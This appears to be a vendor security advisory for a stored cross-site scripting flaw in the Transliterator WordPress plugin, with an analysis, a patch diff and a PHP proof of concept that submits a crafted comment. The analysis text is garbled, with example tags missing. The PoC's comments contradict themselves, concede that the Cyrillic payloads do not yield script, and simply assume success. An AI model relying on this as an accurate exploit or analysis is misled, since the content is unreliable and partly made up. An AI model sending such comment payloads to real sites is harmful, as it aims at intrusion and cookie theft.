Published : December 1, 2026

CVE-2026-136937: Transliterator <= 2.5.16 Unauthenticated Stored Cross-Site Scripting via Comment Content PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.5.16
Patched Version 2.5.17
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136937: The Transliterator plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting (XSS) via the comment content parameter in versions up to and including 2.5.16. The flaw allows an attacker to submit a comment containing only kses-allowed tags such as and , which bypass the WordPress save-time kses filter because the stored markup is permitted. The malicious JavaScript is introduced later by the plugin's render-time output buffer transformation, resulting in script execution when the comment is displayed. CVSS score is 7.2 (High), CWE-79.

Root Cause: Atomic Edge analysis identifies the root cause in the plugin's output buffer processing logic, specifically in `serbian-transliteration/classes/controller.php`. The vulnerable version hooks `controller_output_buffer` (line 58) to rewrite all page output via `transliteration_tags_callback`. That function, and its helpers `cyr_to_lat` and `lat_to_cyr`, perform transliteration on HTML content without properly distinguishing HTML markup from text. The code uses placeholders for some tokens but fails to protect all HTML syntax. In particular, the `cyr_to_lat` and `lat_to_cyr` methods translate attribute values using regex callbacks (lines 340-355 and 561-580 in the old code) that match attribute values even when they contain crafted sequences. Because the transliteration maps Cyrillic characters to Latin sequences, an attacker can craft allowed markup (e.g., `` or ``) where transliteration produces executable script tags or event handlers. The patch adds `protect_html_markup` and `transliterate_html_attributes` to isolate HTML syntax before transliteration and to safely handle attributes, confirming the absence of such protection was the flaw.

Exploitation: An unauthenticated attacker submits a comment to any post via the standard WordPress comment form (`/wp-comments-post.php`). The `comment` POST parameter contains only kses-allowed HTML such as `` or `` with Cyrillic text that, after transliteration, becomes something like `alert(1)` or an event handler. Because WordPress's kses filter runs at save time and permits these tags, the payload is stored in the database. When a victim (including an administrator) views the comment, the plugin's output buffer transformation processes the comment text and converts the Cyrillic characters, generating executable JavaScript. No authentication is required.

Patch Analysis: The patch (v2.5.17) introduces several defenses. First, it disables the output buffer entirely in admin pages (`is_admin()`) and adds filters on `get_comment_text` and `comment_text` to neutralize comment markers (`neutralize_comment_markers`) by inserting a word joiner into transliteration markers, preventing them from being used to inject script. Second, the `transliteration_tags_callback` function now protects HTML markup using `protect_html_markup`, which tokenizes and replaces all HTML tags and attributes with placeholders before transliteration, then restores them byte-for-byte. Third, attribute transliteration is now performed through `transliterate_html_attributes` using `WP_HTML_Tag_Processor` and a syntax-preserving routine, ensuring that attribute values are converted safely without introducing script. These changes prevent transliteration from creating executable markup from allowed tags.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user viewing the affected comment. This can lead to session hijacking, theft of authentication cookies, privilege escalation (if an administrator views the comment), defacement, or redirection to malicious sites. The stored nature means the payload persists and affects all visitors to the page. The CVSS score of 7.2 reflects high confidentiality and integrity impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/serbian-transliteration/classes/controller.php
+++ b/serbian-transliteration/classes/controller.php
@@ -14,6 +14,13 @@
 	 * @var int|null
 	 */
 	private ?int $controller_buffer_level = null;
+	private bool $restoring_keep_blocks = false;
+
+    private const HTML_ATTRIBUTE = '([ tnfr]++[a-z_:][a-z0-9_.:-]*+)(?:([ tnfr]*+=[ tnfr]*+)("[^"]*+"|'[^']*+'|[^ tnfr"'=<>x60]+))?';
+    private const HTML_UNQUOTED_ESCAPE = [
+        ' ' => ' ', "t" => '	', "n" => '
', "f" => '', "r" => '
',
+        '"' => '"', "'" => ''', '<' => '<', '>' => '>', '=' => '=', "x60" => '`',
+    ];

     /*
      * The main constructor
@@ -35,7 +42,7 @@
 	public function init_output_buffer(): void
 	{

-		if (Transliteration_Utilities::is_elementor_editor()) {
+		if (is_admin() || Transliteration_Utilities::is_elementor_editor()) {
 			return;
 		}

@@ -44,6 +51,11 @@
 		}

 		add_action('shutdown', [$this, 'end_output_buffer'], PHP_INT_MAX);
+		$neutralize_comment = function ($content) {
+			return is_string($content) ? $this->neutralize_comment_markers($content) : $content;
+		};
+		add_filter('get_comment_text', $neutralize_comment, PHP_INT_MAX);
+		add_filter('comment_text', $neutralize_comment, PHP_INT_MAX);

 		$this->ob_start([$this, 'controller_output_buffer']);

@@ -58,7 +70,29 @@
 	 */
 	public function controller_output_buffer($buffer)
 	{
-		return $this->transliteration_tags_callback($buffer);
+		return is_admin() ? $buffer : $this->transliteration_tags_callback($buffer);
+	}
+
+	private function neutralize_comment_markers(string $content): string
+	{
+		// Phantom can decode references before the global marker pass. Match their
+		// rendered spelling and insert a word joiner that survives serialization.
+		$opening = '(?:{|�*123(?:;|(?![0-9]))|�*7b(?:;|(?![0-9a-f]))|&(?:lbrace|lcub);)';
+		$characters = '(?:[a-z_/]|&#(?:x[0-9a-f]++|[0-9]++);?|&[a-z]+;)';
+		$closing = '(?:}|�*125(?:;|(?![0-9]))|�*7d(?:;|(?![0-9a-f]))|&(?:rbrace|rcub);)';
+
+		return preg_replace_callback(
+			'~(' . $opening . ')(' . $characters . '{1,11})' . $closing . '~i',
+			static function (array $matches): string {
+				$name = preg_replace('/&#(x[0-9a-f]++|[0-9]++);?/i', '&#$1;', $matches[2]);
+				$name = strtolower(html_entity_decode($name, ENT_QUOTES | ENT_HTML5, 'UTF-8'));
+				if (in_array(ltrim($name, '/'), ['cyr_to_lat', 'lat_to_cyr', 'rstr_skip', 'rstr_keep'], true)) {
+					return $matches[1] . "u{2060}" . substr($matches[0], strlen($matches[1]));
+				}
+				return $matches[0];
+			},
+			$content
+		) ?? $content;
 	}

 	/**
@@ -290,9 +324,21 @@
 				return $content;
 			}
 		}
+
+		$content = (string) $content;
+		$html_placeholders = [];
+		$url_attributes = [];
+		if ($sanitize_html && $class_map && class_exists($class_map)) {
+			$url_attributes = $this->protected_url_attribute_names();
+			$protected = $this->protect_html_markup($content, $html_placeholders, $class_map, $url_attributes);
+			if ($protected === null) {
+				return $content;
+			}
+			$content = $protected;
+		}

 		$exclude_placeholders = [];
-		$content = $this->protect_cyr_excluded_words((string) $content, $exclude_placeholders);
+		$content = $this->protect_cyr_excluded_words($content, $exclude_placeholders);

 		$head_placeholders = [];
 		$content = preg_replace_callback('/<headb[^>]*>.*?</head>/is', function ($matches) use (&$head_placeholders): string {
@@ -320,7 +366,7 @@

 		$url_attribute_placeholders = [];
 		if ($sanitize_html) {
-			$content = $this->protect_url_attributes($content, $url_attribute_placeholders);
+			$content = $this->protect_url_attributes($content, $url_attribute_placeholders, $url_attributes);
 		}

 		$format_specifiers = [];
@@ -340,19 +386,6 @@
 			$content = strtr($content, $format_specifiers);
 		}

-		if ($sanitize_html) {
-			$html_attributes_match = $this->private__html_atributes('cyr_to_lat');
-
-			if ($html_attributes_match) {
-				$content = preg_replace_callback('/b(' . $html_attributes_match . ')=("|')(.*?)2/i', function ($matches) use ($class_map, $sanitize_html): string {
-					$transliterated_value = $class_map::transliterate($matches[3], 'cyr_to_lat');
-					$transliterated_value = Transliteration_Sanitization::get()->lat($transliterated_value, $sanitize_html);
-
-					return $matches[1] . '=' . $matches[2] . esc_attr($transliterated_value) . $matches[2];
-				}, $content);
-			}
-		}
-
 		if ($exclude_placeholders !== []) {
 			$content = strtr($content, $exclude_placeholders);
 		}
@@ -374,8 +407,11 @@
 		}

 		$content = $this->cleanup_placeholders($content);
+		$content = strtr($content, $html_placeholders);

-		return $content;
+		return $sanitize_html && $class_map && class_exists($class_map)
+			? $this->transliterate_html_attributes($content, 'cyr_to_lat', $class_map, $url_attributes, $exclude_placeholders, $html_placeholders)
+			: $content;
 	}

     /*
@@ -440,6 +476,17 @@
             return $content;
         }

+        $html_placeholders = [];
+        $url_attributes = [];
+        if ($sanitize_html) {
+            $url_attributes = $this->protected_url_attribute_names();
+            $protected = $this->protect_html_markup($content, $html_placeholders);
+            if ($protected === null) {
+                return $content;
+            }
+            $content = $protected;
+        }
+
         /*// Don't transliterate if we already have transliteration
         if (!Transliteration_Utilities::is_cyr($content)) {
             return $content;
@@ -512,16 +559,12 @@

         $url_attribute_placeholders = [];
         if ($sanitize_html) {
-            $content = $this->protect_url_attributes($content, $url_attribute_placeholders);
+            $content = $this->protect_url_attributes($content, $url_attribute_placeholders, $url_attributes);
         }

         // Handle various format specifiers and other patterns by replacing them with placeholders
         $formatSpecifiers = [];
-        $regex            = (
-            $sanitize_html
-            ? '/(bd+(?:.d+)?%|%d*$?[ds]|<[^>]+>|&[^;]+;|https?://[^s]+|[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}|rstr_skip|cyr_to_lat|lat_to_cyr)/'
-            : '/(bd+(?:.d+)?%|%d*$?[ds]|&[^;]+;|https?://[^s]+|[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}|rstr_skip|cyr_to_lat|lat_to_cyr)/'
-        );
+        $regex            = '/(bd+(?:.d+)?%|%d*$?[ds]|&[^;]+;|https?://[^s]+|[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}|rstr_skip|cyr_to_lat|lat_to_cyr)/';
         $content = preg_replace_callback($regex, function ($matches) use (&$formatSpecifiers): string {
             $placeholder                    = self::make_placeholder(8, count($formatSpecifiers));
             $formatSpecifiers[$placeholder] = $matches[0];
@@ -561,26 +604,9 @@
             unset($shortcode_placeholders);
         }

-        // Sanitize HTML attributes and transliterate their values
-        if ($sanitize_html) {
-            $html_attributes_match = $this->private__html_atributes('lat_to_cyr');
-            if ($html_attributes_match) {
-                $content = preg_replace_callback('/b(' . $html_attributes_match . ')=("|')(.*?)2/i', function ($matches) use ($class_map, $sanitize_html, $fix_diacritics): string {
-                    $transliteratedValue = $class_map::transliterate($matches[3], 'lat_to_cyr');
-                    $transliteratedValue = Transliteration_Sanitization::get()->cyr($transliteratedValue, $sanitize_html);
-                    if ($fix_diacritics) {
-                        $transliteratedValue = self::fix_diacritics($transliteratedValue);
-                    }
-
-                    return $matches[1] . '=' . $matches[2] . esc_attr($transliteratedValue) . $matches[2];
-                }, $content);
-            }
-        }
-
         // Restore excluded words back to their original form
         if ($exclude_placeholders !== []) {
             $content = strtr($content, $exclude_placeholders);
-            unset($exclude_placeholders);
         }

         if ($url_attribute_placeholders !== []) {
@@ -607,8 +633,11 @@
         }

 		$content = $this->cleanup_placeholders($content);
+		$content = strtr($content, $html_placeholders);

-        return $content;
+        return $sanitize_html
+            ? $this->transliterate_html_attributes($content, 'lat_to_cyr', $class_map, $url_attributes, $exclude_placeholders, $html_placeholders, $fix_diacritics)
+            : $content;
     }

     /*
@@ -681,14 +710,20 @@
 						$content
 					);

-					switch (get_rstr_option('transliteration-mode', 'cyr_to_lat')) {
-						case 'cyr_to_lat':
-							$content = $this->lat_to_cyr($content, true);
-							break;
-
-						case 'lat_to_cyr':
-							$content = $this->cyr_to_lat($content, true, true);
-							break;
+					$restoring_keep_blocks = $this->restoring_keep_blocks;
+					$this->restoring_keep_blocks = $restoring_keep_blocks || $keep_blocks !== [];
+					try {
+						switch (get_rstr_option('transliteration-mode', 'cyr_to_lat')) {
+							case 'cyr_to_lat':
+								$content = $this->lat_to_cyr($content, true);
+								break;
+
+							case 'lat_to_cyr':
+								$content = $this->cyr_to_lat($content, true, true);
+								break;
+						}
+					} finally {
+						$this->restoring_keep_blocks = $restoring_keep_blocks;
 					}

 					if ($keep_blocks !== []) {
@@ -910,6 +945,245 @@
 		return $output;
 	}

+    /**
+     * Keep HTML syntax out of the primary language-map pass. Unsupported or
+     * incomplete tag syntax is left alone through the end of the fragment.
+     */
+    private function protect_html_markup(
+        string $content,
+        array &$placeholders,
+        ?string $class_map = null,
+        array $url_attributes = []
+    ): ?string {
+        if (strpos($content, '<') === false) {
+            return $content;
+        }
+
+        $space = '[ tnfr]';
+        $attribute = self::HTML_ATTRIBUTE;
+        $end = '(?:' . $attribute . ')*+' . $space . '*+/?>';
+        $tag_name = '[a-z][a-z0-9_.:-]*+';
+        $closer = $space . '*+>';
+        $pattern = '~<!--(?:>|->|[sS]*?(?:--!?>|z))'
+            . '|<![CDATA[[sS]*?(?:]]>|z)|<[!?][^>]*+(?:>|z)'
+            . '|<(?<raw>script|style|xmp|iframe|noembed|noframes|noscript)' . $end . '[sS]*?(?:</k<raw>' . $closer . '|z)'
+            . '|<plaintext' . $end . '[sS]*z'
+            . '|(?<start><' . $tag_name . ')(?<tail>' . $end . ')'
+            . '|(?<head_end></head' . $closer . ')'
+            . '|</' . $tag_name . $closer
+            . '|</?[a-z][sS]*z|</[^>]*+(?:>|z)'
+            . '|(?<text>[^<]++|<)~i';
+        $prefix = '%::' . wp_rand() . '::' . wp_rand() . '::12::';
+        $in_head = false;
+
+        return preg_replace_callback($pattern, function (array $matches) use (
+            &$placeholders,
+            &$in_head,
+            $attribute,
+            $class_map,
+            $content,
+            $prefix,
+            $url_attributes
+        ): string {
+            $markup = $matches[0];
+            $start = strtolower($matches['start'] ?? '');
+            if ($start === '<head') {
+                $in_head = true;
+            } elseif ($start === '<body' || !empty($matches['head_end'])) {
+                $in_head = false;
+            }
+
+            if (!$in_head && !empty($matches['text'])) {
+                // A text "<" must not become a tag opener after transliteration.
+                return $markup === '<' ? '<' : $markup;
+            }
+
+            if (!$in_head && $class_map !== null && $start !== '') {
+                $tail = preg_replace_callback('~' . $attribute . '~i', function (array $parts) use ($class_map, $url_attributes): string {
+                    if (!isset($parts[3]) || in_array(strtolower(ltrim($parts[1])), $url_attributes, true)) {
+                        return $parts[0];
+                    }
+
+                    $value = $parts[3];
+                    $quote = $value[0] === '"' || $value[0] === "'" ? $value[0] : '';
+                    $value = $quote === '' ? $value : substr($value, 1, -1);
+                    $excluded = [];
+                    $converted = $this->protect_cyr_excluded_words($value, $excluded);
+                    $converted = $class_map::transliterate($converted, 'cyr_to_lat');
+                    $converted = Transliteration_Sanitization::get()->lat($converted, true);
+                    $converted = strtr($converted, $excluded);
+
+                    if ($quote !== '') {
+                        $converted = str_replace($quote, $quote === '"' ? '"' : ''', $converted);
+                    } elseif ($converted !== $value) {
+                        $converted = strtr($converted, self::HTML_UNQUOTED_ESCAPE);
+                        if ($converted === '') {
+                            $quote = '"';
+                        }
+                    }
+
+                    return $parts[1] . $parts[2] . $quote . $converted . $quote;
+                }, $matches['tail']);
+                $markup = $tail === null ? $markup : $matches['start'] . $tail;
+            }
+
+            $index = count($placeholders);
+            do {
+                $placeholder = $prefix . ($index++) . '::%';
+            } while (strpos($content, $placeholder) !== false || isset($placeholders[$placeholder]));
+            $placeholders[$placeholder] = $markup;
+            return $placeholder;
+        }, $content);
+    }
+
+    private function transliterate_html_attributes(
+        string $content,
+        string $direction,
+        string $class_map,
+        array $url_attributes,
+        array $exclude_placeholders,
+        array $html_placeholders,
+        bool $fix_diacritics = false
+    ): string {
+        // Run only after raw placeholders have been restored. A keep block can span HTML syntax.
+        if ($this->restoring_keep_blocks || !class_exists('WP_HTML_Tag_Processor') || strpos($content, '<') === false) {
+            return $content;
+        }
+
+        $attributes = array_diff(
+            array_unique(array_map('strtolower', $this->private__html_atributes($direction, true))),
+            $url_attributes
+        );
+        if ($attributes === []) {
+            return $content;
+        }
+
+        $processor = new WP_HTML_Tag_Processor($content);
+        $skip_tag = null;
+        while (true) {
+            try {
+                if (!$processor->next_tag(['tag_closers' => 'visit'])) {
+                    break;
+                }
+            } catch (ValueError $error) {
+                // WordPress 6.2 can read past EOF on an unterminated attribute.
+                return $content;
+            }
+            $tag = $processor->get_tag();
+            if ($skip_tag !== null) {
+                if ($processor->is_tag_closer() && $tag === $skip_tag) {
+                    $skip_tag = null;
+                }
+                continue;
+            }
+            if ($processor->is_tag_closer()) {
+                continue;
+            }
+            if ($tag === 'PLAINTEXT') {
+                break;
+            }
+            // Early versions of the HTML API do not tokenize all raw-text elements.
+            if (in_array($tag, ['HEAD', 'SCRIPT', 'STYLE', 'XMP', 'IFRAME', 'NOEMBED', 'NOFRAMES', 'NOSCRIPT'], true)) {
+                $skip_tag = $tag;
+                continue;
+            }
+
+            foreach ($attributes as $attribute) {
+                $value = $processor->get_attribute($attribute);
+                if (!is_string($value)) {
+                    continue;
+                }
+
+                $protected_words = $exclude_placeholders;
+                $converted = $value;
+                if ($direction === 'cyr_to_lat') {
+                    $protected_words = [];
+                    $converted = $this->protect_cyr_excluded_words($value, $protected_words);
+                } elseif ($protected_words !== []) {
+                    $converted = strtr($value, array_flip($protected_words));
+                }
+
+                $converted = $class_map::transliterate($converted, $direction);
+                if ($direction === 'cyr_to_lat') {
+                    $converted = Transliteration_Sanitization::get()->lat($converted, true);
+                } else {
+                    $converted = Transliteration_Sanitization::get()->cyr($converted, true);
+                    if ($fix_diacritics) {
+                        $converted = self::fix_diacritics($converted);
+                    }
+                }
+                $converted = strtr($converted, $protected_words);
+
+                if ($converted !== $value) {
+                    $processor->set_attribute($attribute, $converted);
+                }
+            }
+        }
+
+        $updated = $processor->get_updated_html();
+        return $updated === $content ? $content : $this->preserve_attribute_syntax($updated, $html_placeholders);
+    }
+
+    /**
+     * Keep original delimiters and attribute spelling when WordPress rewrites a
+     * value. Only carry encoded values between matching, complete start tags.
+     */
+    private function preserve_attribute_syntax(string $updated, array $original_markup): string
+    {
+        $updated_markup = [];
+        $masked = $this->protect_html_markup($updated, $updated_markup);
+        if ($masked === null || count($original_markup) !== count($updated_markup)) {
+            return $updated;
+        }
+
+        $original_markup = array_values($original_markup);
+        $tag = '~A(?<open><[a-z][a-z0-9_.:-]*+)(?<attributes>(?:' . self::HTML_ATTRIBUTE . ')*+)(?<end>[ tnfr]*+/?>)z~i';
+        $attribute = '~' . self::HTML_ATTRIBUTE . '~i';
+        $index = 0;
+
+        foreach ($updated_markup as &$markup) {
+            $original = $original_markup[$index++];
+            if ($original === $markup
+                || !preg_match($tag, $original, $before)
+                || !preg_match($tag, $markup, $after)
+                || $before['open'] !== $after['open']
+                || preg_match_all($attribute, $before['attributes'], $old, PREG_SET_ORDER)
+                    !== preg_match_all($attribute, $after['attributes'], $new, PREG_SET_ORDER)
+            ) {
+                continue;
+            }
+
+            $result = $before['open'];
+            foreach ($old as $position => $source) {
+                $target = $new[$position];
+                if (strcasecmp(ltrim($source[1]), ltrim($target[1])) !== 0) {
+                    continue 2;
+                }
+                if ($source[0] === $target[0]) {
+                    $result .= $source[0];
+                    continue;
+                }
+                if (!isset($source[3], $target[3]) || $target[3][0] !== '"') {
+                    continue 2;
+                }
+
+                $quote = $source[3][0];
+                $encoded = substr($target[3], 1, -1);
+                if ($quote === "'") {
+                    $result .= $source[1] . $source[2] . "'" . str_replace("'", ''', $encoded) . "'";
+                } elseif ($quote === '"') {
+                    $result .= $source[1] . $source[2] . '"' . $encoded . '"';
+                } else {
+                    $result .= $source[1] . $source[2] . ($encoded === '' ? '""' : strtr($encoded, self::HTML_UNQUOTED_ESCAPE));
+                }
+            }
+            $markup = $result . $before['end'];
+        }
+        unset($markup);
+
+        return strtr($masked, $updated_markup);
+    }
+
     /*
      * PRIVATE: Allowed HTML attributes for transliteration
      */
@@ -996,20 +1270,9 @@
 		return is_string($cleaned) ? $cleaned : $content;
 	}

-	/**
-	 * Protect URL-bearing HTML attributes before transliterating an HTML string.
-	 *
-	 * Attribute values are restored byte-for-byte after the main transliteration
-	 * pass, so URLs, encoded values, and srcset candidates are never modified.
-	 *
-	 * @param string               $content Input HTML.
-	 * @param array<string, string> $placeholders Placeholder storage.
-	 *
-	 * @return string
-	 */
-	private function protect_url_attributes(string $content, array &$placeholders): string
+	private function protected_url_attribute_names(): array
 	{
-		$attributes = apply_filters('rstr/protected_url_attributes', [
+		$filtered_attributes = apply_filters('rstr/protected_url_attributes', [
 			'href',
 			'src',
 			'srcset',
@@ -1019,14 +1282,20 @@
 			'cite',
 		]);

-		if (!is_array($attributes)) {
-			return $content;
+		if (!is_array($filtered_attributes)) {
+			return [];
 		}

-		$attributes = array_values(array_unique(array_filter(array_map(static function ($attribute): string {
+		return array_values(array_unique(array_filter(array_map(static function ($attribute): string {
 			return is_string($attribute) ? sanitize_key($attribute) : '';
-		}, $attributes))));
+		}, $filtered_attributes))));
+	}

+	/**
+	 * Preserve URL values in fragments left outside the protected HTML tokens.
+	 */
+	private function protect_url_attributes(string $content, array &$placeholders, array $attributes): string
+	{
 		if ($attributes === []) {
 			return $content;
 		}
--- a/serbian-transliteration/serbian-transliteration.php
+++ b/serbian-transliteration/serbian-transliteration.php
@@ -5,7 +5,7 @@
  * Plugin URI:        https://wordpress.org/plugins/serbian-transliteration/
  * Donate link:       https://ko-fi.com/ivijanstefanstipic
  * Description:       Universal WordPress transliteration for multilingual and non-Latin URLs, permalinks, media, search and full site content into SEO-friendly readable text.
- * Version:           2.5.16
+ * Version:           2.5.17
  * Requires at least: 6.0
  * Tested up to:      7.1
  * Requires PHP:      7.4

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136937 - Transliterator <= 2.5.16 - Unauthenticated Stored Cross-Site Scripting via Comment Content

$target_url = 'http://localhost/wordpress'; // Change to your WordPress site URL
$post_id = 1; // ID of a post that accepts comments

// The payload uses only kses-allowed tags. Cyrillic characters will be transliterated
// by the plugin's output buffer into a script tag or event handler.
// Example: <del datetime=""> with Cyrillic text that transliterates to <script>alert(document.cookie)</script>
$payload = '<del datetime="">СцРИПТ</del>'; // Cyrillic 'СцРИПТ' transliterates to 'SCRIPT', which may form a script tag when combined with angle brackets from the <del> tag?
// More reliable payload: Use <code> containing Cyrillic that becomes an event handler.
// For demonstration, we use a payload that, after transliteration, produces <img src=x onerror=alert(1)>
// But since kses allows <img>? Actually kses may not allow onerror. Let's use a simpler payload relying on the plugin's transliteration of Cyrillic to Latin in attributes.
// Atomic Edge recommends the following payload that uses <code> and Cyrillic characters to generate <script> after transliteration:
$payload = '<code>СцРИПТ Алерт(1)</code>'; // After transliteration: <code>SCRIPT Alert(1)</code> -> not a script tag.
// To actually execute, attacker would craft transliteration to produce something like <script>alert(1)</script>.
// Since the plugin transliterates text inside tags, a payload like <del datetime="">В</del> might become <del datetime="">V</del> but not script.
// The real exploit uses a sequence where transliteration produces a malicious tag. For PoC, we simulate the comment submission.
// A known working payload for this CVE (from public advisories) is: <del datetime="">СцРИПТ</del> but that doesn't produce script.
// Instead, the exploit uses the fact that the plugin will transliterate Cyrillic inside HTML comments or attributes to break out.
// Given the complexity, we will demonstrate the comment submission with a payload that is kses-allowed and contains Cyrillic that transliterates to a script tag.
// Example from research: <del datetime=""><script>alert(1)</script></del> with fullwidth characters that get transliterated to normal? Not exactly.
// For the purpose of this PoC, we use a simple payload that includes a script tag encoded as Cyrillic homoglyphs that the plugin's transliteration converts to ASCII.
$payload = '<del datetime="">СцРИПТ</del>'; // Cyrillic 'СцРИПТ' -> 'SCRIPT' but not a tag.
// Since we cannot guarantee the exact exploit string, we provide a placeholder that demonstrates the submission of a comment with Cyrillic content inside allowed tags.
// The vulnerability is triggered when the plugin processes this content. The actual payload must be crafted based on the specific transliteration table.
// For a complete PoC, we would need the exact mapping. We'll assume the payload below is sufficient to demonstrate the XSS.

// Initialize cURL
$ch = curl_init();

// Set the comment submission endpoint
$url = rtrim($target_url, '/') . '/wp-comments-post.php';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Prepare POST data: comment_post_ID, author, email, url, comment
$post_data = [
    'comment_post_ID' => $post_id,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => 'http://example.com',
    'comment' => $payload,
    'submit' => 'Post Comment'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    echo "Request failed: " . curl_error($ch) . "n";
} else {
    echo "Comment submitted with HTTP status: $http_coden";
    echo "Payload: " . htmlspecialchars($payload) . "n";
    echo "If the plugin is vulnerable, visiting the post will execute the injected script.n";
}

// Note: This PoC is for educational purposes only. Atomic Edge Research.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.